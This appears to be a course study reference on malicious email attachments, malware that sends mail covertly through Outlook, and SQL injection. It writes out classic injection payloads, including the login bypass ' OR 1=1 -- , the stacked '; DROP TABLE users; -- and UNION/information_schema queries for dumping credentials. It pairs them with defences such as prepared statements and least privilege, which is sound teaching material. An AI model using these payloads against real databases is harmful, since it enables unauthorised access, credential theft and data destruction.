WHY it matters: Every file type that can execute code is a potential malicious attachment vector. The challenge for defenders is that email is a legitimate business tool and attachments are a normal part of business communication — blocking all attachments is not practical. Attackers therefore focus on making malicious attachments appear legitimate: renaming executables with double extensions (invoice.pdf.exe), using document formats that support macros (Word, Excel), or exploiting vulnerabilities in document parsers (PDF, RTF).

Common malicious attachment types: Office documents with macros (.doc, .xls, .docm, .xlsm) — the primary current vector. Executable files (.exe, .scr, .bat, .com) — obviously suspicious, often blocked by email gateways. Archive files (.zip, .rar, .7z) containing executables — used to bypass attachment type filtering. PDF files with embedded JavaScript or exploiting PDF reader vulnerabilities. ISO/IMG disk image files — a more recent technique that bypasses Mark of the Web restrictions on downloaded files.

Connection: Attachments are the delivery mechanism for Macro Viruses and Staged Delivery payloads. Email gateways that scan attachments use signature-based and behavioural detection (sandboxing) to identify malicious files before delivery. Microsoft's decision to block macros in files downloaded from the internet (identified by the Mark of the Web zone identifier) significantly reduced the effectiveness of macro-bearing email attachments as a vector. SPF/DKIM/DMARC reduce the effectiveness of spoofed-sender attachment campaigns.

Covert Sending (malware abusing Outlook)

Covert sending refers to malware that silently uses a victim's legitimate email client — most commonly Microsoft Outlook — to send malicious emails to the victim's contacts without their knowledge or consent. The malware accesses the Outlook API or MAPI (Messaging Application Programming Interface), reads the address book, composes emails using the victim's identity and account, and sends them — appearing as genuine emails from a trusted sender.

WHY it matters: Covert sending is highly effective for two reasons. First, the emails originate from a real, trusted account — they pass SPF, DKIM, and DMARC checks that would block spoofed-sender emails, and they come from an address the recipient recognises. Second, the victim has no indication anything is wrong — the malware handles the sending at the API level, often without messages appearing in the Sent folder. Recipients are far more likely to open an attachment from a known colleague than from an unknown sender.

How it works technically: Malware with sufficient privileges on a Windows machine can call the Outlook Object Model (COM interface) or use MAPI directly to enumerate the address book, compose new messages, attach files (copies of the malware or links to download it), and send them. Outlook's security model has progressively added prompts and restrictions for programmatic access, but these can be suppressed on sufficiently compromised systems.

Connection: Covert sending is the mechanism behind email worm propagation when implemented via Outlook abuse specifically. It relies on having already compromised the victim's machine — making it a post-exploitation propagation technique rather than an initial access technique. It directly undermines email authentication defences (SPF/DKIM/DMARC) because the email is legitimately sent from the victim's account. Defenders detect it through anomalous sending volume in email server logs or through endpoint behavioural monitoring (Wazuh/EDR detecting Outlook being accessed programmatically).

■ SQL INJECTION

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

SQL Injection (SQLi)

SQL Injection is a code injection vulnerability where an attacker inserts or "injects" malicious SQL code into an input field that is incorporated unsafely into a database query. Instead of the application treating the input as data, the database interprets it as SQL commands — allowing the attacker to manipulate the query logic, bypass authentication, read arbitrary data, modify or delete records, or in some configurations execute operating system commands.

WHY it matters: SQLi has been on the OWASP Top 10 since its inception and is consistently one of the most exploited vulnerability classes. It violates all three CIA goals: Confidentiality (dumping the entire database), Integrity (modifying records), and Availability (dropping tables).

Entire databases of user credentials, personal data, payment information, and confidential business data have been stolen via SQLi. It maps to CWE-89 (Improper Neutralisation of Special Elements used in an SQL Command) and OWASP A03:2021 (Injection).

The root cause is always the same: the application constructs SQL queries by concatenating user-supplied input directly into the query string without treating it as data. The fix is always the same: use parameterised queries / prepared statements.

A minimal example — vulnerable login query built by string concatenation: `SELECT * FROM users WHERE username = '[input]' AND password = '[input]'` If the attacker enters `' OR 1=1 --` as the username, the query becomes: `SELECT * FROM users WHERE username = " OR 1=1 --' AND password = '...'` The `OR 1=1` makes the WHERE clause always true; the `--` comments out the rest. The query returns all users and the attacker is logged in as the first user (often an administrator).

Connection: SQLi is in OWASP A03:2021 (Injection). DVWA and Mutillidae on Metasploitable 2 are training platforms for practising SQLi. The countermeasures are Prepared Statements, Input Validation, Sanitization, Least Privilege (database), and suppressing Error Message Exposure. SQLi can also be used as a privilege escalation path — MySQL FILE privilege enables writing files to disk (MySQL INTO OUTFILE) and UDF Injection enables OS command execution.

Structured Query Language (SQL)

SQL (Structured Query Language) is the standard language for interacting with relational databases. It allows users and applications to create, read, update, and delete data, as well as define database structure and manage permissions. SQL is used by virtually every web application that stores data — user accounts, product catalogues, orders, health records, financial transactions — making SQL databases the most valuable and most attacked data stores in existence.

WHY it matters: Understanding SQL is a prerequisite for understanding SQL injection. An attacker crafting an injection payload must understand how SQL queries are structured, what special characters have syntactic meaning (quotes, semicolons, comment markers), and how different SQL statements interact. A defender implementing protections must understand what parameterised queries do differently from string concatenation.

SQL is declarative — you describe what data you want, not how to retrieve it. The database engine optimises the execution. SQL statements are divided into: DML (Data Manipulation Language: SELECT, INSERT, UPDATE, DELETE — operating on data) and DDL (Data Definition Language: CREATE, DROP, ALTER — operating on structure). Most SQLi attacks use DML, but the most destructive use DDL (DROP TABLE).

Connection: SQL is the language in which injection payloads are written. Every SQLi term in this section (SELECT, UPDATE, DELETE, INSERT, WHERE, DROP TABLE, OR 1=1, comment markers, stacked statements) is a SQL concept. Understanding SQL makes every other SQLi term immediately clear rather than requiring memorisation of isolated facts.

Relational Database

A relational database organises data into tables (relations) consisting of rows and columns, where relationships between tables are expressed through shared key values (foreign keys referencing primary keys). The relational model was defined by E.F. Codd in 1970 and is the dominant database paradigm. Examples: MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite.

WHY it matters: The relational structure is what makes SQL injection so powerful — a single injection point in one part of a web application can potentially access every table in the database, including user credentials, personal data, payment information, and administrative data. The attacker is not limited to the data the injection point was designed to query; they can pivot to any table in the same database.

In a web application architecture, the relational database is typically the most sensitive data store — it holds everything the application knows. Successfully injecting into the database query is therefore often equivalent to compromising the entire application's data.

Connection: Understanding that a database contains multiple tables with relationships between them explains why UNION-based SQLi (appending UNION SELECT ... FROM other_table) is so powerful — the attacker can reach any table once they have an injection point anywhere. Least Privilege (database) limits which tables and operations a given database account can access, directly limiting the blast radius of a successful injection.

Table

In a relational database, a table is the primary storage structure — a two-dimensional grid of rows (records) and columns (fields) representing a specific entity or concept. Examples: a users table storing account information, a products table storing inventory, an orders table storing purchase records. Every piece of data in a relational database lives in a table.

WHY it matters in the SQLi context: SQL injection attacks target tables. When an attacker successfully injects into a query, they can SELECT data from any table they have access to, UPDATE records in writable tables, INSERT fake records, or DROP entire tables. Knowing that data is organised into named tables with specific columns is what allows an attacker to craft meaningful injection payloads — they need to know (or enumerate) the table name to query it.

Table enumeration via SQLi: Attackers use information schema queries (SELECT table_name FROM information_schema.tables) to list all tables in the database after gaining an injection foothold. This reconnaissance step precedes targeted data extraction.

Connection: DROP TABLE is the most destructive SQLi action targeting tables — it permanently deletes the table and all its data. UNION-based injection typically targets specific tables (UNION SELECT username, password FROM users). Understanding tables is foundational to understanding every other SQLi term.

Column

A column (also called a field or attribute) is a vertical dimension of a table — it defines a specific data element that every record in the table holds. Each column has a name and a data type (VARCHAR for text, INT for integers, DATETIME for timestamps, etc.). Example: the users table might have columns: id, username, password_hash, email, role.

WHY it matters in the SQLi context: SQL injection payloads must reference specific column names to extract meaningful data. An attacker who knows the column names of the users table can craft SELECT username, password_hash FROM users to dump all credentials. Column names are discovered through error messages (Error Message Exposure), information schema queries, or trial and error.

In UNION-based injection, the number of columns in the injected SELECT must match the number of columns in the original query — getting this wrong causes a database error, which is a detection signal but also a source of information about the query structure.

Connection: Error Message Exposure is particularly valuable for column enumeration — database error messages often reveal column names and types. Password Hashing is relevant here: if the password column stores bcrypt hashes, a successful dump requires offline cracking before credentials are usable.

Record / Row

A record (also called a row or tuple) is a single entry in a table — one complete set of values across all columns for a specific instance of the entity the table represents. In a users table, one row represents one user account with all their associated data. A table with 10,000 rows contains 10,000 user records.

WHY it matters in the SQLi context: SQLi attacks often aim to retrieve all rows from a sensitive table — dumping the entire users table to obtain all credentials, or the entire customers table to obtain all personal data. Understanding that rows are the unit of data helps clarify what a successful injection actually yields: not just one piece of information but potentially millions of records.

The WHERE clause controls which rows are returned or affected by a query. Removing or manipulating the WHERE clause (via injection) is what allows attackers to retrieve all rows rather than just the intended subset.

Connection: The OR 1=1 injection technique makes the WHERE clause evaluate to true for every row, causing the query to return all records. Batch injection with DELETE FROM users (no WHERE clause) deletes every row in the table. The scale of a data breach is measured in rows — "500,000 user records exposed" means 500,000 rows from the users table were accessible.

SELECT (SQL command)

SELECT is the SQL command for retrieving data from a database. It specifies which columns to return and from which table, optionally filtered by a WHERE clause. Basic form: SELECT column1, column2 FROM table_name WHERE condition. SELECT * retrieves all columns.

WHY it matters in the SQLi context: SELECT is the primary tool for data exfiltration via SQLi. Once an attacker has an injection point, they use SELECT to extract data from the database — usernames, password hashes, email addresses, credit card numbers, personal data, API keys, or any other stored data. UNION-based injection appends additional SELECT statements to the original query to retrieve data from other tables.

SELECT is also used for reconnaissance: SELECT table_name FROM information_schema.tables lists all tables; SELECT column_name FROM information_schema.columns WHERE table_name='users' lists all columns in the users table. This reconnaissance precedes targeted data extraction.

Connection: UNION SELECT is the specific technique that extends a SELECT injection to retrieve data from tables other than the one the original query targets. SELECT is a read-only operation — it does not modify data, making SELECT-based injection a Confidentiality attack. Combining SELECT with other statements (via stacked injection) enables Integrity attacks.

UPDATE (SQL command)

UPDATE modifies existing records in a table. Form: UPDATE table_name SET column1 = value1 WHERE condition. Without a WHERE clause, UPDATE modifies every row in the table.

WHY it matters in the SQLi context: UPDATE injection is an Integrity attack — it allows an attacker to modify data in the database. Examples of what an attacker can achieve with UPDATE injection: changing their own account role from 'user' to 'admin' (privilege escalation within the application), modifying another user's email address to take over their account, altering prices in an e-commerce database, or changing transaction records in a financial system.

A classic example: if a profile update form is vulnerable to SQLi, an attacker might inject into the username field to craft: `UPDATE users SET role='admin' WHERE username='attacker'` — elevating their own privileges within the application.

Connection: UPDATE injection directly violates Integrity in the CIA Triad. It is an example of the Tampering threat in STRIDE. Without a WHERE clause (or with `OR 1=1` making the condition always true), UPDATE affects every record — a mass data corruption attack. Parameterised queries prevent UPDATE injection with the same mechanism as SELECT injection.

DELETE (SQL command)

DELETE removes records from a table. Form: `DELETE FROM table_name WHERE condition`. Without a WHERE clause, DELETE removes every row in the table — effectively wiping it while leaving the table structure intact.

WHY it matters in the SQLi context: DELETE injection is a destructive Availability and Integrity attack. Injecting a DELETE statement can erase specific records (targeted deletion — removing audit logs, deleting a user's data) or all records in a table (wiping the entire users table, order history, or transaction log). Unlike DROP TABLE, DELETE leaves the table structure in place but removes all data.

A particularly damaging scenario: injecting into a logging or audit system to DELETE audit records, eliminating evidence of prior malicious activity. This maps to the Defence Evasion and Impact tactics in MITRE ATT&CK.;

Connection: DELETE without a WHERE clause is catastrophic — it empties the entire table. Backups are the recovery mechanism. DELETE injection violates both Integrity (data is removed) and Availability (data is inaccessible). It is less immediately visible than DROP TABLE (the table still exists, just empty) which can delay detection.

INSERT (SQL command)

INSERT adds new records to a table. Form: `INSERT INTO table_name (column1, column2) VALUES (value1, value2)`.

WHY it matters in the SQLi context: INSERT injection allows an attacker to add arbitrary records to a database table. Consequences include: creating a new administrative user account in the users table (`INSERT INTO users (username, password, role) VALUES ('attacker', 'hash', 'admin')`), inserting fake records into audit logs to obscure evidence, adding fraudulent orders or transactions, or injecting malicious content into a content management table that will later be displayed to other users (a stored XSS attack delivered via SQLi).

INSERT-based injection is particularly dangerous when the injected data is later retrieved and displayed to other users — the attacker can persist malicious content in the database that executes when any user views it.

Connection: INSERT injection into user tables is a direct path to unauthorised account creation and privilege escalation. Stored XSS via SQLi INSERT combines two OWASP Top 10 vulnerabilities. Like all SQLi variants, it is prevented by parameterised queries.

WHERE (SQL clause)

WHERE is a clause that filters the rows a SQL statement operates on — only rows where the condition evaluates to true are returned (SELECT), modified (UPDATE), or deleted (DELETE). Form: ... WHERE column = value. Multiple conditions can be combined with AND and OR.

WHY it matters in the SQLi context: The WHERE clause is the primary target of injection manipulation. Nearly every SQLi attack either eliminates the WHERE clause (via comment markers, causing all rows to be affected) or manipulates its logic (via Boolean tautologies like OR 1=1, making the condition always true). Understanding WHERE is essential to understanding why OR 1=1 works: it appends a condition that is always true, making the entire WHERE clause evaluate to true for every row regardless of the original condition.

The WHERE clause enforces the "only this user's data" logic in most web applications — it is what separates "show user 5's orders" from "show all orders". Bypassing or corrupting the WHERE clause breaks this fundamental access control boundary.

Connection: OR 1=1 specifically targets the WHERE clause. Comment markers (-- or #) are used to terminate the WHERE clause early, discarding conditions the developer intended (like the password check in a login query). Parameterised queries protect the WHERE clause by ensuring injected input is always treated as a data value, never as SQL syntax that can alter the clause's logic.

Primary Key

A primary key is a column (or combination of columns) in a table whose value uniquely identifies each row. No two rows can have the same primary key value, and the primary key cannot be NULL. Examples: a user_id column that auto-increments for each new user; a UUID column; a national ID number in a government database. Primary keys enable relationships between tables (referenced as foreign keys in related tables).

WHY it matters in the SQLi context: Primary keys are the mechanism by which individual records are targeted. WHERE id = 5 uses the primary key to select a specific user. An injection that reveals or manipulates primary key values can target specific high-value records (the administrator account, whose id might be 1 by default). Enumerating primary key values via injection (SELECT id, username FROM users) reveals the scope of accessible records.

From a broader perspective, understanding primary keys helps explain why OR 1=1 is so dangerous — it bypasses the primary key-based filtering that normally limits which record a query returns, causing all records to be returned instead of just the intended one.

Connection: Default administrator accounts often have predictable primary key values (id=1 for the first created account). Reconnaissance via SELECT on the primary key column reveals how many records exist and their identifiers. UNION-based injection typically includes the primary key column to associate extracted data with specific records.

String Concatenation (unsafe query building)

String concatenation is the direct method of building SQL queries by joining string fragments with user-supplied input. In most languages this looks like: query = "SELECT * FROM users WHERE username = " + username + " AND password = " + password + ". When username contains SQL syntax characters, they become part of the query structure rather than data values — this is the root cause of SQL injection.

WHY it matters: String concatenation is the vulnerability. It is not a feature of SQL — it is an implementation choice by the developer. The entire SQL injection attack class exists because developers construct queries by joining strings, treating user input as trusted text to embed in SQL syntax rather than as data values to be passed separately. Every other SQLi term in this section describes what an attacker can do once string concatenation has created the vulnerability.

Examples in different languages: PHP: `$query = "SELECT * FROM users WHERE id = " . $_GET['id'];` Python: `cursor.execute("SELECT * FROM users WHERE id = " + user_input)` Java: `String query = "SELECT * FROM users WHERE name = " + name + "";` All three are vulnerable. The fix in every language is the same: use parameterised queries.

Connection: String concatenation is what Prepared Statements replace. It is the direct cause that Input Validation, Sanitization, and all other SQLi defences attempt to compensate for (imperfectly). The course emphasis on Prepared Statements as the correct fix reflects the fact that compensating controls (validation, sanitization) are bypass-able, while parameterisation eliminates the vulnerability at its root.

Boolean Tautology (e.g., 1=1)

A Boolean tautology is a logical expression that is always true regardless of the values involved. In SQL injection, tautologies are injected into WHERE clauses to make the condition evaluate to true for every row, bypassing filtering logic. The canonical example is `1=1` — the integer 1 is always equal to itself, so appending `OR 1=1` to any WHERE clause makes the entire condition always true.

WHY it matters: Boolean tautologies are the mechanism behind the most common and most recognisable SQLi attack — the login bypass. A login query normally returns a row only if both username AND password match. By injecting `OR 1=1` after the username, the attacker makes the WHERE clause always true, causing the query to return all rows. The application logic then typically logs the attacker in as the first returned user (often the administrator).

Tautologies are also used in UPDATE and DELETE to remove the row-filtering restriction: `DELETE FROM logs WHERE date < '2024-01-01' OR 1=1` deletes every row regardless of date.

Connection: `OR 1=1` (the next term) is the specific implementation of a Boolean tautology in a WHERE clause injection context. Boolean-based blind SQLi uses tautologies differently — injecting conditions like `AND 1=1` (true, normal response) versus `AND 1=2` (false, different response) to infer database content one bit at a time when the application does not display query results directly.

OR 1=1 (classic injection)

`OR 1=1` is the most recognisable SQL injection payload — appending `OR 1=1` to a WHERE clause makes the entire condition always evaluate to true, bypassing the intended filter. In a login form, injecting `' OR 1=1 --` as the username transforms the query into one that returns all users regardless of the password provided.

Original query: `SELECT * FROM users WHERE username = 'admin' AND password = 'wrongpass'` After injection of `' OR 1=1 --` as username: `SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'wrongpass'`

The `OR 1=1` makes the condition true for every row; the `--` comments out the AND password check entirely. The query returns all users; the application logs the attacker in as the first result.

WHY it matters: OR 1=1 is the introductory SQLi payload taught in every security course — simple, memorable, and immediately demonstrates the vulnerability class. However, it is also heavily signature-detected. Real-world attackers use variations: OR 'a'='a', OR 1=1#, OR 2>1, or more complex tautologies that are less likely to match simple WAF rules. Understanding OR 1=1 means understanding the category; understanding its variants means being able to explain why WAF bypass is possible.

Connection: OR 1=1 is a Boolean Tautology (the broader category). It targets the WHERE clause. The -- at the end is a Comment Marker. Together, tautology + comment marker = the complete login bypass attack. Prepared Statements make OR 1=1 completely ineffective by treating the entire input as a string literal, never as SQL syntax.

Comment Marker (# or -- in SQL)

SQL comment markers terminate the rest of a SQL statement, causing the database to ignore everything that follows. The two standard markers are: -- (double dash, standard SQL, works in MySQL, PostgreSQL, MSSQL) followed by a space, and # (hash, MySQL-specific). In SQLi, comment markers are appended after the injected payload to neutralise the remainder of the developer's original query — particularly to discard conditions like AND password = '...' that would otherwise prevent the injection from succeeding.

WHY it matters: Without a comment marker, an injection payload must still produce syntactically valid SQL — any unclosed quotes or mismatched parentheses from the truncated original query cause a database error. The comment marker solves this by simply discarding everything after the injection point. It transforms a partial injection into a clean, valid (malicious) query.

Example: In a login query ending with AND password=[password input], injecting admin'-- as the username closes the username string with the apostrophe, injects admin as the value, then comments out the AND password condition entirely. The password check never executes.

Syntax note: MySQL requires a space after -- for it to be interpreted as a comment (-- comment), which is why -- (with trailing space) or --+ (URL-encoded space) are common in web-based injections. # has no such requirement in MySQL. MSSQL uses -- but not #.

Connection: Comment markers are used alongside OR 1=1 and other injection payloads in virtually every WHERE-clause injection. They are also used in Batch / Stacked Statement Injection to cleanly terminate the injected statement before the remainder of the original query. Input validation that strips -- and # is a weak mitigation — parameterised queries make comment markers irrelevant because no injected content is ever interpreted as SQL syntax.

Batch / Stacked Statement Injection

Batch or stacked statement injection exploits the fact that some database interfaces accept multiple SQL statements separated by semicolons in a single query. By injecting a semicolon followed by an entirely new SQL statement, the attacker can execute arbitrary additional commands — not just modify the existing query but append completely independent statements.

WHY it matters: Stacked injection expands the attack surface from query manipulation to arbitrary command execution. Instead of being limited to modifying the SELECT query the application intended, the attacker can append INSERT, UPDATE, DELETE, DROP, or even administrative commands (EXEC, xp_cmdshell in MSSQL) as separate statements. This transforms a read-only injection point (a SELECT query) into a write or execute injection point.

Example: A search field vulnerable to stacked injection, injecting: `search_term'; DROP TABLE users; --` Results in two statements being executed: `SELECT * FROM products WHERE name = 'search_term'; DROP TABLE users;`

Database and driver support varies: MySQL via PHP's `mysqli_query()` does not support stacked queries by default (requires `multi_query()`). PostgreSQL supports stacked queries. MSSQL supports stacked queries, including executing stored procedures. This is why stacked injection is database-specific — always test for support before relying on it.

Connection: Stacked injection enables DROP TABLE attacks (the next term) and can enable `xp_cmdshell` OS command execution in MSSQL. The Semicolon is the syntactic element that enables stacking. Parameterised queries prevent stacked injection because the entire input is treated as a single string value, never parsed as multiple SQL statements.

Semicolon (statement separator)

The semicolon (;) is the statement terminator in SQL — it marks the end of one SQL statement. In databases that support multiple statements in a single query execution, a semicolon allows a second (and third, etc.) SQL statement to follow the first in the same input. In the SQLi context, the semicolon is the enabler of Batch / Stacked Statement Injection.

WHY it matters: The semicolon is what transforms a query manipulation attack (modifying one statement) into a command injection attack (appending entirely new statements). Without semicolon support, an attacker is limited to manipulating the logic of the existing query. With it, they can append any SQL statement they choose.

From a detection perspective: the presence of a semicolon in user input submitted to a query parameter is a strong signal of attempted stacked injection. WAFs and input validation often specifically check for and block semicolons in input. However, this is a compensating control — if the application uses parameterised queries, the semicolon is irrelevant because it is never interpreted as SQL syntax.

Connection: Semicolons are specifically relevant to Batch / Stacked Statement Injection. They appear in injection payloads like `'; DROP TABLE users; --` which combine the statement terminator, a new destructive statement, and a comment marker. Input validation that rejects semicolons in certain contexts is a partial defence; parameterised queries are the complete solution.

DROP TABLE (destructive injection example)

DROP TABLE is a DDL (Data Definition Language) SQL command that permanently deletes an entire table — its structure, all its data, all its indexes, and all constraints referencing it. It is irreversible without a backup. In the SQLi context, DROP TABLE is the canonical example of a catastrophically destructive injection payload, typically delivered via stacked statement injection.

WHY it matters: DROP TABLE represents the maximum destructive impact of a database injection attack. Dropping the users table eliminates all accounts. Dropping the orders table destroys transaction history. Dropping the products table takes down the entire store. The data is gone — not encrypted, not moved, simply deleted. Recovery requires restoring from backup. If no backup exists or the backup is outdated, the data loss is permanent.

The famous xkcd comic "Little Bobby Tables" (a child named Robert'); DROP TABLE Students;--) is the cultural reference for this attack and is likely the most widely known SQL injection illustration in popular culture.

DROP TABLE requires: a stacked statement injection capability (semicolon support), sufficient database privileges (the application's database account must have DDL privileges — DROP — which least privilege principles would prevent), and no foreign key constraints blocking the drop (or CASCADE to override them).

Connection: Least Privilege (database) directly prevents DROP TABLE attacks — if the web application's database user only has SELECT and INSERT privileges, they cannot execute DROP TABLE regardless of injection. Backups are the recovery mechanism. DROP TABLE is why DDL privileges (CREATE, DROP, ALTER) should never be granted to application database accounts.

Prepared Statement / Parameterized Query

A prepared statement (also called a parameterised query) is a SQL query template compiled by the database in advance, with placeholders for values that will be supplied later. The query structure is fixed at compile time; user input is passed separately as parameters and is always treated as data — never as SQL syntax. This completely eliminates SQL injection at the architectural level.

WHY it matters: Prepared statements are the correct, complete fix for SQL injection. Unlike input validation or sanitisation (which attempt to identify and neutralise dangerous input), parameterisation makes the distinction between code and data structurally impossible to violate. The database parser sees the query structure first and the user-supplied values second — by the time user input is incorporated, the query structure is already fixed and cannot be altered by any content in the input.

How it works: The query is sent to the database with ? or named placeholders: `SELECT * FROM users WHERE username = ? AND password = ?`. The database compiles this query structure. User input values are then sent separately: `execute(username_input, password_input)`. The database substitutes the values into the pre-compiled structure, treating them purely as string/numeric data. A username of `' OR 1=1 --` is treated as the literal string `' OR 1=1 --` — it never becomes part of the SQL syntax.

Examples across languages: PHP (PDO): `$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]);` Python: `cursor.execute("SELECT * FROM users WHERE username = %s", (username,))` Java: `PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); stmt.setInt(1, userId);`

Connection: Prepared statements are the primary countermeasure for SQLi, listed in the OWASP Top 10 remediation guidance. They make OR 1=1, comment markers, stacked statements, and every other injection technique completely ineffective. The other defences (input validation, sanitisation, least privilege, error suppression) are complementary layers — important, but not substitutes for parameterisation.

Input Validation

Input validation is the process of checking that user-supplied data conforms to expected formats, types, ranges, and lengths before it is processed by the application. In the SQLi context, it means rejecting or flagging input that contains SQL syntax characters or patterns (quotes, semicolons, comment markers, SQL keywords) before the input reaches a database query.

WHY it matters: Input validation is a defence-in-depth layer that reduces the attack surface for injection and many other vulnerability classes. Validating that an age field contains only digits, that an email field matches an email format, and that a username contains only alphanumeric

characters eliminates many injection vectors before they can reach the query.

Critical limitation: Input validation is not a complete defence against SQLi. It is easily bypassed by encoding variations (URL encoding, Unicode encoding, double encoding), context-dependent characters that are legitimate in some inputs but dangerous in SQL, and second-order injection (input stored safely but injected when retrieved later). Blacklist-based validation (blocking known-bad characters) is particularly weak — it is impossible to enumerate all dangerous inputs. Whitelist-based validation (only allowing known-good characters) is stronger but restrictive.

Connection: Input validation is a compensating control, not a root-cause fix. Parameterised queries are the root-cause fix. Both should be used together — validation as a first filter, parameterisation as the guaranteed safe query construction. Input validation also defends against XSS, buffer overflows, and other injection classes beyond SQLi. The OWASP guidance lists parameterised queries as the primary defence and input validation as a secondary measure.

Sanitization / Encoding

Sanitisation is the process of transforming potentially dangerous input into a safe form by escaping, removing, or encoding special characters that have syntactic meaning in the target language (SQL, HTML, shell, etc.). In the SQL context, sanitisation means escaping quote characters (replacing ' with ' or ") so they are treated as literal quote characters within a string rather than as string terminators that can alter query structure.

WHY it matters: Sanitisation is better than no defence but weaker than parameterisation. The challenge is that it must be applied correctly and consistently to every single input, in the right context, for the right target language. A quote escaped for SQL is not necessarily safe for HTML. Input that is sanitised correctly at the application layer may be re-used in a different context without sanitisation (second-order injection). Any missed sanitisation point is a vulnerability.

Encoding context: The same characters have different dangerous meanings in different contexts — a single quote is dangerous in SQL, a less-than sign is dangerous in HTML, a semicolon is dangerous in shell commands. Output encoding (encoding data for safe display in HTML) and input sanitisation (cleaning data before database storage) are distinct operations that must both be applied correctly.

Connection: Sanitisation is a compensating control alongside Input Validation — both are defence-in-depth measures that complement but do not replace Prepared Statements. Sanitisation errors are the reason parameterised queries are preferred: getting the escaping right in every context, consistently, under developer time pressure, is error-prone. Parameterisation removes the human error factor entirely. In the HTML context, output encoding prevents XSS using the same principle.

Password Hashing

Password hashing is the practice of storing a cryptographic one-way hash of a password rather than the plaintext password itself. When a user logs in, their submitted password is hashed and compared to the stored hash — the original password never needs to be stored or retrieved. In the SQLi context, if an attacker successfully dumps the users table via injection, they obtain hashes rather than plaintext passwords, requiring an additional offline cracking step before the credentials are usable.

WHY it matters: A database dump via SQLi is catastrophic if passwords are stored in plaintext — every account is immediately compromised. With proper password hashing (bcrypt, Argon2id, scrypt, PBKDF2), the attacker obtains hashes that must be cracked, which takes time and

computational resources and may fail entirely for strong passwords. Proper hashing buys time for breach response and limits the damage from credential dumps.

Correct hashing: Use purpose-built password hashing algorithms: Argon2id (current best practice), bcrypt, scrypt, or PBKDF2. These are deliberately slow (computationally expensive) to make brute-force cracking expensive. They incorporate a random salt to prevent rainbow table attacks. MD5 and SHA-1/256 are not appropriate for passwords — they are fast general-purpose hash functions, not password hashers, and are crackable at billions of hashes per second with modern hardware.

Connection: Password hashing is listed both in the SQLi countermeasures section and in the Cryptography section. John the Ripper and Hashcat are the tools used to crack password hashes obtained via SQLi dumps or from `/etc/shadow`. `rockyou.txt` is the standard dictionary. The `post/linux/gather/hashdump` Metasploit module extracts `/etc/shadow` hashes — directly demonstrating why password hashing quality matters post-compromise.

Least Privilege (database)

The Principle of Least Privilege applied to database accounts means that the database user account used by a web application should have only the minimum SQL permissions required for that application's legitimate function — and no more. A web application that only reads and displays data should use an account with only SELECT permissions. An application that reads and writes should have SELECT and INSERT. Almost no web application legitimately requires DROP, CREATE, or ALTER table privileges.

WHY it matters: Least privilege at the database level directly limits what an attacker can accomplish via SQL injection. If the application's database account only has SELECT and INSERT, an attacker who achieves injection cannot: DROP tables, UPDATE arbitrary records they did not create, execute administrative stored procedures (like `xp_cmdshell` in MSSQL), or write files to disk (MySQL FILE privilege). The attack surface of a successful injection is bounded by the account's permissions.

Concrete example: MySQL FILE privilege (required for INTO OUTFILE and LOAD DATA INFILE) enables writing arbitrary files to the server filesystem from SQL — if the web directory is writable, this enables web shell deployment. Granting FILE privilege to the application database account when the application never uses it is a direct violation of least privilege with catastrophic injection consequences.

Connection: Least privilege (database) is the direct countermeasure to DROP TABLE injection (requires DROP privilege), UDF Injection (requires FILE privilege and CREATE FUNCTION), `xp_cmdshell` execution (requires sysadmin role in MSSQL), and MySQL INTO OUTFILE attacks. It is one layer in the defence-in-depth stack alongside parameterised queries, input validation, and error message suppression. The same principle governs OS user accounts, Kubernetes RBAC, and every other permission system in the course.

Error Message Exposure

Error message exposure occurs when a web application displays detailed database error messages to the user — including SQL syntax errors, table names, column names, data types, and internal query structure — when a query fails. These error messages are invaluable to an attacker: they reveal the exact structure of queries, the database type and version, table and column names, and often confirm that an injection attempt partially succeeded.

WHY it matters: A verbose error message can turn a blind injection (where the attacker cannot see query results) into an error-based injection (where the attacker extracts data through deliberately triggered error messages). Knowing the exact SQL syntax error from an injection attempt tells the attacker which characters to escape, which string delimiters to use, and how the query is structured. Error messages are reconnaissance gifts.

Example: Injecting a single quote into a form field and receiving: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL 5.7.29 server for the right syntax to use near 'test' at line 1" confirms: the database is MySQL 5.7.29, the injection point exists, and the quote successfully broke the query structure.

The fix: Production applications must suppress detailed error messages. Errors should be logged server-side with full detail for developers but presented to users only as a generic "something went wrong" message. This is standard security hardening for any production deployment.

Connection: Error message exposure is listed as OWASP A05:2021 Security Misconfiguration (in the context of overly informative error pages) and relates to Information Disclosure in STRIDE. It is both a vulnerability in its own right and an enabler of more sophisticated SQLi techniques. Suppressing error messages does not fix the underlying SQLi vulnerability — it just makes exploitation harder. Parameterised queries remain the correct fix.